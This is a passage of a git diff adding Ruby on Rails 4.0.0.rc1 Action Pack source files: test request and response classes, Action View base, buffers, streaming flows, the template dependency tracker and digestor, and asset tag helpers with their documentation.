+ if self.class.respond_to?(:fixture_path) && self.class.fixture_path
+ path = File.join(self.class.fixture_path, path)
+ end
+ Rack::Test::UploadedFile.new(path, mime_type, binary)
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb
new file mode 100644
index 0000000..c63778f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/test_request.rb
@@ -0,0 +1,78 @@
+require 'active_support/core_ext/hash/indifferent_access'
+require 'rack/utils'
+
+module ActionDispatch
+ class TestRequest < Request
+ DEFAULT_ENV = Rack::MockRequest.env_for('/')
+
+ def self.new(env = {})
+ super
+ end
+
+ def initialize(env = {})
+ env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
+ super(default_env.merge(env))
+
+ self.host = 'test.host'
+ self.remote_addr = '0.0.0.0'
+ self.user_agent = 'Rails Testing'
+ end
+
+ def request_method=(method)
+ @env['REQUEST_METHOD'] = method.to_s.upcase
+ end
+
+ def host=(host)
+ @env['HTTP_HOST'] = host
+ end
+
+ def port=(number)
+ @env['SERVER_PORT'] = number.to_i
+ end
+
+ def request_uri=(uri)
+ @env['REQUEST_URI'] = uri
+ end
+
+ def path=(path)
+ @env['PATH_INFO'] = path
+ end
+
+ def action=(action_name)
+ path_parameters["action"] = action_name.to_s
+ end
+
+ def if_modified_since=(last_modified)
+ @env['HTTP_IF_MODIFIED_SINCE'] = last_modified
+ end
+
+ def if_none_match=(etag)
+ @env['HTTP_IF_NONE_MATCH'] = etag
+ end
+
+ def remote_addr=(addr)
+ @env['REMOTE_ADDR'] = addr
+ end
+
+ def user_agent=(user_agent)
+ @env['HTTP_USER_AGENT'] = user_agent
+ end
+
+ def accept=(mime_types)
+ @env.delete('action_dispatch.request.accepts')
+ @env['HTTP_ACCEPT'] = Array(mime_types).collect { |mime_type| mime_type.to_s }.join(",")
+ end
+
+ alias :rack_cookies :cookies
+
+ def cookies
+ @cookies ||= {}.with_indifferent_access
+ end
+
+ private
+
+ def default_env
+ DEFAULT_ENV
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/test_response.rb b/actionpack/lib/action_dispatch/testing/test_response.rb
new file mode 100644
index 0000000..82039e7
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/test_response.rb
@@ -0,0 +1,29 @@
+module ActionDispatch
+ # Integration test methods such as ActionDispatch::Integration::Session#get
+ # and ActionDispatch::Integration::Session#post return objects of class
+ # TestResponse, which represent the HTTP response results of the requested
+ # controller actions.
+ #
+ # See Response for more information on controller response objects.
+ class TestResponse < Response
+ def self.from_response(response)
+ new.tap do |resp|
+ resp.status = response.status
+ resp.headers = response.headers
+ resp.body = response.body
+ end
+ end
+
+ # Was the response successful?
+ alias_method :success?, :successful?
+
+ # Was the URL not found?
+ alias_method :missing?, :not_found?
+
+ # Were we redirected?
+ alias_method :redirect?, :redirection?
+
+ # Was there a server-side error?
+ alias_method :error?, :server_error?
+ end
+end
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
new file mode 100644
index 0000000..ad5acd8
--- /dev/null
+++ b/actionpack/lib/action_pack.rb
@@ -0,0 +1,24 @@
+#--
+# Copyright (c) 2004-2013 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'action_pack/version'
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
new file mode 100644
index 0000000..b16dbd4
--- /dev/null
+++ b/actionpack/lib/action_pack/version.rb
@@ -0,0 +1,11 @@
+module ActionPack
+ # Returns the version of the currently loaded ActionPack as a Gem::Version
+ def self.version
+ Gem::Version.new "4.0.0.rc1"
+ end
+
+ module VERSION #:nodoc:
+ MAJOR, MINOR, TINY, PRE = ActionPack.version.segments
+ STRING = ActionPack.version.to_s
+ end
+end
diff --git a/actionpack/lib/action_view.rb b/actionpack/lib/action_view.rb
new file mode 100644
index 0000000..4aafbcb
--- /dev/null
+++ b/actionpack/lib/action_view.rb
@@ -0,0 +1,93 @@
+#--
+# Copyright (c) 2004-2013 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support'
+require 'active_support/rails'
+require 'action_pack'
+
+module ActionView
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :Base
+ autoload :Context
+ autoload :CompiledTemplates, "action_view/context"
+ autoload :Digestor
+ autoload :Helpers
+ autoload :LookupContext
+ autoload :PathSet
+ autoload :RecordIdentifier
+ autoload :RoutingUrlFor
+ autoload :Template
+
+ autoload_under "renderer" do
+ autoload :Renderer
+ autoload :AbstractRenderer
+ autoload :PartialRenderer
+ autoload :TemplateRenderer
+ autoload :StreamingTemplateRenderer
+ end
+
+ autoload_at "action_view/template/resolver" do
+ autoload :Resolver
+ autoload :PathResolver
+ autoload :FileSystemResolver
+ autoload :OptimizedFileSystemResolver
+ autoload :FallbackFileSystemResolver
+ end
+
+ autoload_at "action_view/buffers" do
+ autoload :OutputBuffer
+ autoload :StreamingBuffer
+ end
+
+ autoload_at "action_view/flows" do
+ autoload :OutputFlow
+ autoload :StreamingFlow
+ end
+
+ autoload_at "action_view/template/error" do
+ autoload :MissingTemplate
+ autoload :ActionViewError
+ autoload :EncodingError
+ autoload :MissingRequestError
+ autoload :TemplateError
+ autoload :WrongEncodingError
+ end
+ end
+
+ autoload :TestCase
+
+ ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*'
+
+ def self.eager_load!
+ super
+ ActionView::Template.eager_load!
+ end
+end
+
+require 'active_support/core_ext/string/output_safety'
+
+ActiveSupport.on_load(:i18n) do
+ I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
+end
diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb
new file mode 100644
index 0000000..08253de
--- /dev/null
+++ b/actionpack/lib/action_view/base.rb
@@ -0,0 +1,201 @@
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/ordered_options'
+require 'action_view/log_subscriber'
+
+module ActionView #:nodoc:
+ # = Action View Base
+ #
+ # Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB
+ # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then Jim Weirich's Builder::XmlMarkup library is used.
+ #
+ # == ERB
+ #
+ # You trigger ERB by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the
+ # following loop for names:
+ #
+ # <b>Names of all the people</b>
+ # <% @people.each do |person| %>
+ # Name: <%= person.name %><br/>
+ # <% end %>
+ #
+ # The loop is setup in regular embedding tags <% %> and the name is written using the output embedding tag <%= %>. Note that this
+ # is not just a usage suggestion. Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
+ #
+ # <%# WRONG %>
+ # Hi, Mr. <% puts "Frodo" %>
+ #
+ # If you absolutely must write from within a function use +concat+.
+ #
+ # <%- and -%> suppress leading and trailing whitespace, including the trailing newline, and can be used interchangeably with <% and %>.
+ #
+ # === Using sub templates
+ #
+ # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
+ # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
+ #
+ # <%= render "shared/header" %>
+ # Something really specific and terrific
+ # <%= render "shared/footer" %>
+ #
+ # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
+ # result of the rendering. The output embedding writes it to the current template.
+ #
+ # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
+ # variables defined using the regular embedding tags. Like this:
+ #
+ # <% @page_title = "A Wonderful Hello" %>
+ # <%= render "shared/header" %>
+ #
+ # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
+ #
+ # <title><%= @page_title %></title>
+ #
+ # === Passing local variables to sub templates
+ #
+ # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
+ #
+ # <%= render "shared/header", { headline: "Welcome", person: person } %>
+ #
+ # These can now be accessed in <tt>shared/header</tt> with:
+ #
+ # Headline: <%= headline %>
+ # First name: <%= person.first_name %>
+ #
+ # If you need to find out whether a certain local variable has been assigned a value in a particular render call,
+ # you need to use the following pattern:
+ #
+ # <% if local_assigns.has_key? :headline %>
+ # Headline: <%= headline %>
+ # <% end %>
+ #
+ # Testing using <tt>defined? headline</tt> will not work. This is an implementation restriction.
+ #
+ # === Template caching
+ #
+ # By default, Rails will compile each template to a method in order to render it. When you alter a template,
+ # Rails will check the file's modification time and recompile it in development mode.
+ #
+ # == Builder
+ #
+ # Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object
+ # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
+ #
+ # Here are some basic examples:
+ #
+ # xml.em("emphasized") # => <em>emphasized</em>
+ # xml.em { xml.b("emph & bold") } # => <em><b>emph & bold</b></em>
+ # xml.a("A Link", "href" => "http://onestepback.org") # => <a href="http://onestepback.org">A Link</a>
+ # xml.target("name" => "compile", "option" => "fast") # => <target option="fast" name="compile"\>
+ # # NOTE: order of attributes is not specified.
+ #
+ # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+ #
+ # xml.div do
+ # xml.h1(@person.name)
+ # xml.p(@person.bio)
+ # end
+ #
+ # would produce something like:
+ #
+ # <div>
+ # <h1>David Heinemeier Hansson</h1>
+ # <p>A product of Danish Design during the Winter of '79...</p>
+ # </div>
+ #
+ # A full-length RSS example actually used on Basecamp:
+ #
+ # xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+ # xml.channel do
+ # xml.title(@feed_title)
+ # xml.link(@url)
+ # xml.description "Basecamp: Recent items"
+ # xml.language "en-us"
+ # xml.ttl "40"
+ #
+ # @recent_items.each do |item|
+ # xml.item do
+ # xml.title(item_title(item))
+ # xml.description(item_description(item)) if item_description(item)
+ # xml.pubDate(item_pubDate(item))
+ # xml.guid(@person.firm.account.url + @recent_items.url(item))
+ # xml.link(@person.firm.account.url + @recent_items.url(item))
+ #
+ # xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+ # end
+ # end
+ # end
+ # end
+ #
+ # More builder documentation can be found at http://builder.rubyforge.org.
+ class Base
+ include Helpers, ::ERB::Util, Context
+
+ # Specify the proc used to decorate input tags that refer to attributes with errors.
+ cattr_accessor :field_error_proc
+ @@field_error_proc = Proc.new{ |html_tag, instance| "<div class=\"field_with_errors\">#{html_tag}</div>".html_safe }
+
+ # How to complete the streaming when an exception occurs.
+ # This is our best guess: first try to close the attribute, then the tag.
+ cattr_accessor :streaming_completion_on_exception
+ @@streaming_completion_on_exception = %("><script>window.location = "/500.html"</script></html>)
+
+ # Specify whether rendering within namespaced controllers should prefix
+ # the partial paths for ActiveModel objects with the namespace.
+ # (e.g., an Admin::PostsController would render @post using /admin/posts/_post.erb)
+ cattr_accessor :prefix_partial_path_with_controller_namespace
+ @@prefix_partial_path_with_controller_namespace = true
+
+ # Specify default_formats that can be rendered.
+ cattr_accessor :default_formats
+
+ class_attribute :_routes
+ class_attribute :logger
+
+ class << self
+ delegate :erb_trim_mode=, :to => 'ActionView::Template::Handlers::ERB'
+
+ def cache_template_loading
+ ActionView::Resolver.caching?
+ end
+
+ def cache_template_loading=(value)
+ ActionView::Resolver.caching = value
+ end
+
+ def xss_safe? #:nodoc:
+ true
+ end
+ end
+
+ attr_accessor :view_renderer
+ attr_internal :config, :assigns
+
+ delegate :lookup_context, :to => :view_renderer
+ delegate :formats, :formats=, :locale, :locale=, :view_paths, :view_paths=, :to => :lookup_context
+
+ def assign(new_assigns) # :nodoc:
+ @_assigns = new_assigns.each { |key, value| instance_variable_set("@#{key}", value) }
+ end
+
+ def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc:
+ @_config = ActiveSupport::InheritableOptions.new
+
+ if context.is_a?(ActionView::Renderer)
+ @view_renderer = context
+ else
+ lookup_context = context.is_a?(ActionView::LookupContext) ?
+ context : ActionView::LookupContext.new(context)
+ lookup_context.formats = formats if formats
+ lookup_context.prefixes = controller._prefixes if controller
+ @view_renderer = ActionView::Renderer.new(lookup_context)
+ end
+
+ assign(assigns)
+ assign_controller(controller)
+ _prepare_context
+ end
+
+ ActiveSupport.run_load_hooks(:action_view, self)
+ end
+end
diff --git a/actionpack/lib/action_view/buffers.rb b/actionpack/lib/action_view/buffers.rb
new file mode 100644
index 0000000..361a0dc
--- /dev/null
+++ b/actionpack/lib/action_view/buffers.rb
@@ -0,0 +1,49 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+ class OutputBuffer < ActiveSupport::SafeBuffer #:nodoc:
+ def initialize(*)
+ super
+ encode!
+ end
+
+ def <<(value)
+ return self if value.nil?
+ super(value.to_s)
+ end
+ alias :append= :<<
+
+ def safe_concat(value)
+ return self if value.nil?
+ super(value.to_s)
+ end
+ alias :safe_append= :safe_concat
+ end
+
+ class StreamingBuffer #:nodoc:
+ def initialize(block)
+ @block = block
+ end
+
+ def <<(value)
+ value = value.to_s
+ value = ERB::Util.h(value) unless value.html_safe?
+ @block.call(value)
+ end
+ alias :concat :<<
+ alias :append= :<<
+
+ def safe_concat(value)
+ @block.call(value.to_s)
+ end
+ alias :safe_append= :safe_concat
+
+ def html_safe?
+ true
+ end
+
+ def html_safe
+ self
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/context.rb b/actionpack/lib/action_view/context.rb
new file mode 100644
index 0000000..ee263df
--- /dev/null
+++ b/actionpack/lib/action_view/context.rb
@@ -0,0 +1,36 @@
+module ActionView
+ module CompiledTemplates #:nodoc:
+ # holds compiled template code
+ end
+
+ # = Action View Context
+ #
+ # Action View contexts are supplied to Action Controller to render a template.
+ # The default Action View context is ActionView::Base.
+ #
+ # In order to work with ActionController, a Context must just include this module.
+ # The initialization of the variables used by the context (@output_buffer, @view_flow,
+ # and @virtual_path) is responsibility of the object that includes this module
+ # (although you can call _prepare_context defined below).
+ module Context
+ include CompiledTemplates
+ attr_accessor :output_buffer, :view_flow
+
+ # Prepares the context by setting the appropriate instance variables.
+ # :api: plugin
+ def _prepare_context
+ @view_flow = OutputFlow.new
+ @output_buffer = nil
+ @virtual_path = nil
+ end
+
+ # Encapsulates the interaction with the view flow so it
+ # returns the correct buffer on +yield+. This is usually
+ # overwritten by helpers to add more behavior.
+ # :api: plugin
+ def _layout_for(name=nil)
+ name ||= :layout
+ view_flow.get(name).html_safe
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/dependency_tracker.rb b/actionpack/lib/action_view/dependency_tracker.rb
new file mode 100644
index 0000000..a2a555d
--- /dev/null
+++ b/actionpack/lib/action_view/dependency_tracker.rb
@@ -0,0 +1,93 @@
+require 'thread_safe'
+
+module ActionView
+ class DependencyTracker
+ @trackers = ThreadSafe::Cache.new
+
+ def self.find_dependencies(name, template)
+ tracker = @trackers[template.handler]
+
+ if tracker.present?
+ tracker.call(name, template)
+ else
+ []
+ end
+ end
+
+ def self.register_tracker(extension, tracker)
+ handler = Template.handler_for_extension(extension)
+ @trackers[handler] = tracker
+ end
+
+ def self.remove_tracker(handler)
+ @trackers.delete(handler)
+ end
+
+ class ERBTracker
+ EXPLICIT_DEPENDENCY = /# Template Dependency: (\S+)/
+
+ # Matches:
+ # render partial: "comments/comment", collection: commentable.comments
+ # render "comments/comments"
+ # render 'comments/comments'
+ # render('comments/comments')
+ #
+ # render(@topic) => render("topics/topic")
+ # render(topics) => render("topics/topic")
+ # render(message.topics) => render("topics/topic")
+ RENDER_DEPENDENCY = /
+ render\s* # render, followed by optional whitespace
+ \(? # start an optional parenthesis for the render call
+ (partial:|:partial\s+=>)?\s* # naming the partial, used with collection -- 1st capture
+ ([@a-z"'][@a-z_\/\."']+) # the template name itself -- 2nd capture
+ /x
+
+ def self.call(name, template)
+ new(name, template).dependencies
+ end
+
+ def initialize(name, template)
+ @name, @template = name, template
+ end
+
+ def dependencies
+ render_dependencies + explicit_dependencies
+ end
+
+ attr_reader :name, :template
+ private :name, :template
+
+ private
+
+ def source
+ template.source
+ end
+
+ def directory
+ name.split("/")[0..-2].join("/")
+ end
+
+ def render_dependencies
+ source.scan(RENDER_DEPENDENCY).
+ collect(&:second).uniq.
+
+ # render(@topic) => render("topics/topic")
+ # render(topics) => render("topics/topic")
+ # render(message.topics) => render("topics/topic")
+ collect { |name| name.sub(/\A@?([a-z]+\.)*([a-z_]+)\z/) { "#{$2.pluralize}/#{$2.singularize}" } }.
+
+ # render("headline") => render("message/headline")
+ collect { |name| name.include?("/") ? name : "#{directory}/#{name}" }.
+
+ # replace quotes from string renders
+ collect { |name| name.gsub(/["']/, "") }
+ end
+
+ def explicit_dependencies
+ source.scan(EXPLICIT_DEPENDENCY).flatten.uniq
+ end
+ end
+
+ register_tracker :erb, ERBTracker
+ end
+end
diff --git a/actionpack/lib/action_view/digestor.rb b/actionpack/lib/action_view/digestor.rb
new file mode 100644
index 0000000..9324a1a
--- /dev/null
+++ b/actionpack/lib/action_view/digestor.rb
@@ -0,0 +1,85 @@
+require 'thread_safe'
+require 'action_view/dependency_tracker'
+
+module ActionView
+ class Digestor
+ cattr_reader(:cache)
+ @@cache = ThreadSafe::Cache.new
+
+ def self.digest(name, format, finder, options = {})
+ cache_key = [name, format] + Array.wrap(options[:dependencies])
+ @@cache[cache_key.join('.')] ||= begin
+ klass = options[:partial] || name.include?("/_") ? PartialDigestor : Digestor
+ klass.new(name, format, finder, options).digest
+ end
+ end
+
+ attr_reader :name, :format, :finder, :options
+
+ def initialize(name, format, finder, options={})
+ @name, @format, @finder, @options = name, format, finder, options
+ end
+
+ def digest
+ Digest::MD5.hexdigest("#{source}-#{dependency_digest}").tap do |digest|
+ logger.try :info, "Cache digest for #{name}.#{format}: #{digest}"
+ end
+ rescue ActionView::MissingTemplate
+ logger.try :error, "Couldn't find template for digesting: #{name}.#{format}"
+ ''
+ end
+
+ def dependencies
+ DependencyTracker.find_dependencies(name, template)
+ rescue ActionView::MissingTemplate
+ [] # File doesn't exist, so no dependencies
+ end
+
+ def nested_dependencies
+ dependencies.collect do |dependency|
+ dependencies = PartialDigestor.new(dependency, format, finder).nested_dependencies
+ dependencies.any? ? { dependency => dependencies } : dependency
+ end
+ end
+
+ private
+
+ def logger
+ ActionView::Base.logger
+ end
+
+ def logical_name
+ name.gsub(%r|/_|, "/")
+ end
+
+ def partial?
+ false
+ end
+
+ def template
+ @template ||= finder.find(logical_name, [], partial?, formats: [ format ])
+ end
+
+ def source
+ template.source
+ end
+
+ def dependency_digest
+ template_digests = dependencies.collect do |template_name|
+ Digestor.digest(template_name, format, finder, partial: true)
+ end
+
+ (template_digests + injected_dependencies).join("-")
+ end
+
+ def injected_dependencies
+ Array.wrap(options[:dependencies])
+ end
+ end
+
+ class PartialDigestor < Digestor # :nodoc:
+ def partial?
+ true
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/flows.rb b/actionpack/lib/action_view/flows.rb
new file mode 100644
index 0000000..c0e458c
--- /dev/null
+++ b/actionpack/lib/action_view/flows.rb
@@ -0,0 +1,76 @@
+require 'active_support/core_ext/string/output_safety'
+
+module ActionView
+ class OutputFlow #:nodoc:
+ attr_reader :content
+
+ def initialize
+ @content = Hash.new { |h,k| h[k] = ActiveSupport::SafeBuffer.new }
+ end
+
+ # Called by _layout_for to read stored values.
+ def get(key)
+ @content[key]
+ end
+
+ # Called by each renderer object to set the layout contents.
+ def set(key, value)
+ @content[key] = value
+ end
+
+ # Called by content_for
+ def append(key, value)
+ @content[key] << value
+ end
+ alias_method :append!, :append
+
+ end
+
+ class StreamingFlow < OutputFlow #:nodoc:
+ def initialize(view, fiber)
+ @view = view
+ @parent = nil
+ @child = view.output_buffer
+ @content = view.view_flow.content
+ @fiber = fiber
+ @root = Fiber.current.object_id
+ end
+
+ # Try to get an stored content. If the content
+ # is not available and we are inside the layout
+ # fiber, we set that we are waiting for the given
+ # key and yield.
+ def get(key)
+ return super if @content.key?(key)
+
+ if inside_fiber?
+ view = @view
+
+ begin
+ @waiting_for = key
+ view.output_buffer, @parent = @child, view.output_buffer
+ Fiber.yield
+ ensure
+ @waiting_for = nil
+ view.output_buffer, @child = @parent, view.output_buffer
+ end
+ end
+
+ super
+ end
+
+ # Appends the contents for the given key. This is called
+ # by provides and resumes back to the fiber if it is
+ # the key it is waiting for.
+ def append!(key, value)
+ super
+ @fiber.resume if @waiting_for == key
+ end
+
+ private
+
+ def inside_fiber?
+ Fiber.current.object_id != @root
+ end
+ end
+end
\ No newline at end of file
diff --git a/actionpack/lib/action_view/helpers.rb b/actionpack/lib/action_view/helpers.rb
new file mode 100644
index 0000000..8a78685
--- /dev/null
+++ b/actionpack/lib/action_view/helpers.rb
@@ -0,0 +1,58 @@
+require 'active_support/benchmarkable'
+
+module ActionView #:nodoc:
+ module Helpers #:nodoc:
+ extend ActiveSupport::Autoload
+
+ autoload :ActiveModelHelper
+ autoload :AssetTagHelper
+ autoload :AssetUrlHelper
+ autoload :AtomFeedHelper
+ autoload :CacheHelper
+ autoload :CaptureHelper
+ autoload :ControllerHelper
+ autoload :CsrfHelper
+ autoload :DateHelper
+ autoload :DebugHelper
+ autoload :FormHelper
+ autoload :FormOptionsHelper
+ autoload :FormTagHelper
+ autoload :JavaScriptHelper, "action_view/helpers/javascript_helper"
+ autoload :NumberHelper
+ autoload :OutputSafetyHelper
+ autoload :RecordTagHelper
+ autoload :RenderingHelper
+ autoload :SanitizeHelper
+ autoload :TagHelper
+ autoload :TextHelper
+ autoload :TranslationHelper
+ autoload :UrlHelper
+
+ extend ActiveSupport::Concern
+
+ include ActiveSupport::Benchmarkable
+ include ActiveModelHelper
+ include AssetTagHelper
+ include AssetUrlHelper
+ include AtomFeedHelper
+ include CacheHelper
+ include CaptureHelper
+ include ControllerHelper
+ include CsrfHelper
+ include DateHelper
+ include DebugHelper
+ include FormHelper
+ include FormOptionsHelper
+ include FormTagHelper
+ include JavaScriptHelper
+ include NumberHelper
+ include OutputSafetyHelper
+ include RecordTagHelper
+ include RenderingHelper
+ include SanitizeHelper
+ include TagHelper
+ include TextHelper
+ include TranslationHelper
+ include UrlHelper
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/active_model_helper.rb b/actionpack/lib/action_view/helpers/active_model_helper.rb
new file mode 100644
index 0000000..901f433
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/active_model_helper.rb
@@ -0,0 +1,49 @@
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/enumerable'
+
+module ActionView
+ # = Active Model Helpers
+ module Helpers
+ module ActiveModelHelper
+ end
+
+ module ActiveModelInstanceTag
+ def object
+ @active_model_object ||= begin
+ object = super
+ object.respond_to?(:to_model) ? object.to_model : object
+ end
+ end
+
+ def content_tag(*)
+ error_wrapping(super)
+ end
+
+ def tag(type, options, *)
+ tag_generate_errors?(options) ? error_wrapping(super) : super
+ end
+
+ def error_wrapping(html_tag)
+ if object_has_errors?
+ Base.field_error_proc.call(html_tag, self)
+ else
+ html_tag
+ end
+ end
+
+ def error_message
+ object.errors[@method_name]
+ end
+
+ private
+
+ def object_has_errors?
+ object.respond_to?(:errors) && object.errors.respond_to?(:[]) && error_message.present?
+ end
+
+ def tag_generate_errors?(options)
+ options['type'] != 'hidden'
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
new file mode 100644
index 0000000..693b6bd
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
@@ -0,0 +1,320 @@
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/hash/keys'
+require 'action_view/helpers/asset_url_helper'
+require 'action_view/helpers/tag_helper'
+
+module ActionView
+ # = Action View Asset Tag Helpers
+ module Helpers #:nodoc:
+ # This module provides methods for generating HTML that links views to assets such
+ # as images, javascripts, stylesheets, and feeds. These methods do not verify
+ # the assets exist before linking to them:
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="/assets/application.css?body=1" media="screen" rel="stylesheet" />
+ module AssetTagHelper
+ extend ActiveSupport::Concern
+
+ include AssetUrlHelper
+ include TagHelper
+
+ # Returns an HTML script tag for each of the +sources+ provided.
+ #
+ # Sources may be paths to JavaScript files. Relative paths are assumed to be relative
+ # to <tt>assets/javascripts</tt>, full paths are assumed to be relative to the document
+ # root. Relative paths are idiomatic, use absolute paths only when needed.
+ #
+ # When passing paths, the ".js" extension is optional.
+ #
+ # You can modify the HTML attributes of the script tag by passing a hash as the
+ # last argument.
+ #
+ # When the Asset Pipeline is enabled, you can pass the name of your manifest as
+ # source, and include other JavaScript or CoffeeScript files inside the manifest.
+ #
+ # javascript_include_tag "xmlhr"
+ # # => <script src="/assets/xmlhr.js?1284139606"></script>
+ #
+ # javascript_include_tag "xmlhr.js"
+ # # => <script src="/assets/xmlhr.js?1284139606"></script>
+ #
+ # javascript_include_tag "common.javascript", "/elsewhere/cools"
+ # # => <script src="/assets/common.javascript?1284139606"></script>
+ # # <script src="/elsewhere/cools.js?1423139606"></script>
+ #
+ # javascript_include_tag "http://www.example.com/xmlhr"
+ # # => <script src="http://www.example.com/xmlhr"></script>
+ #
+ # javascript_include_tag "http://www.example.com/xmlhr.js"
+ # # => <script src="http://www.example.com/xmlhr.js"></script>
+ def javascript_include_tag(*sources)
+ options = sources.extract_options!.stringify_keys
+ path_options = options.extract!('protocol').symbolize_keys
+
+ sources.uniq.map { |source|
+ tag_options = {
+ "src" => path_to_javascript(source, path_options)
+ }.merge!(options)
+ content_tag(:script, "", tag_options)
+ }.join("\n").html_safe
+ end
+
+ # Returns a stylesheet link tag for the sources specified as arguments. If
+ # you don't specify an extension, <tt>.css</tt> will be appended automatically.
+ # You can modify the link attributes by passing a hash as the last argument.
+ # For historical reasons, the 'media' attribute will always be present and defaults
+ # to "screen", so you must explicitly set it to "all" for the stylesheet(s) to
+ # apply to all media types.
+ #
+ # stylesheet_link_tag "style"
+ # # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "style.css"
+ # # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "http://www.example.com/style.css"
+ # # => <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "style", media: "all"
+ # # => <link href="/assets/style.css" media="all" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "style", media: "print"
+ # # => <link href="/assets/style.css" media="print" rel="stylesheet" />
+ #
+ # stylesheet_link_tag "random.styles", "/css/stylish"
+ # # => <link href="/assets/random.styles" media="screen" rel="stylesheet" />
+ # # <link href="/css/stylish.css" media="screen" rel="stylesheet" />
+ def stylesheet_link_tag(*sources)
+ options = sources.extract_options!.stringify_keys
+ path_options = options.extract!('protocol').symbolize_keys
+
+ sources.uniq.map { |source|
+ tag_options = {
+ "rel" => "stylesheet",
+ "media" => "screen",
+ "href" => path_to_stylesheet(source, path_options)
+ }.merge!(options)
+ tag(:link, tag_options)
+ }.join("\n").html_safe
+ end
+
+ # Returns a link tag that browsers and news readers can use to auto-detect
+ # an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
+ # <tt>:atom</tt>. Control the link options in url_for format using the
+ # +url_options+. You can modify the LINK tag itself in +tag_options+.
+ #
+ # ==== Options
+ #
+ # * <tt>:rel</tt> - Specify the relation of this link, defaults to "alternate"
+ # * <tt>:type</tt> - Override the auto-generated mime type
+ # * <tt>:title</tt> - Specify the title of the link, defaults to the +type+
+ #
+ # ==== Examples
+ #
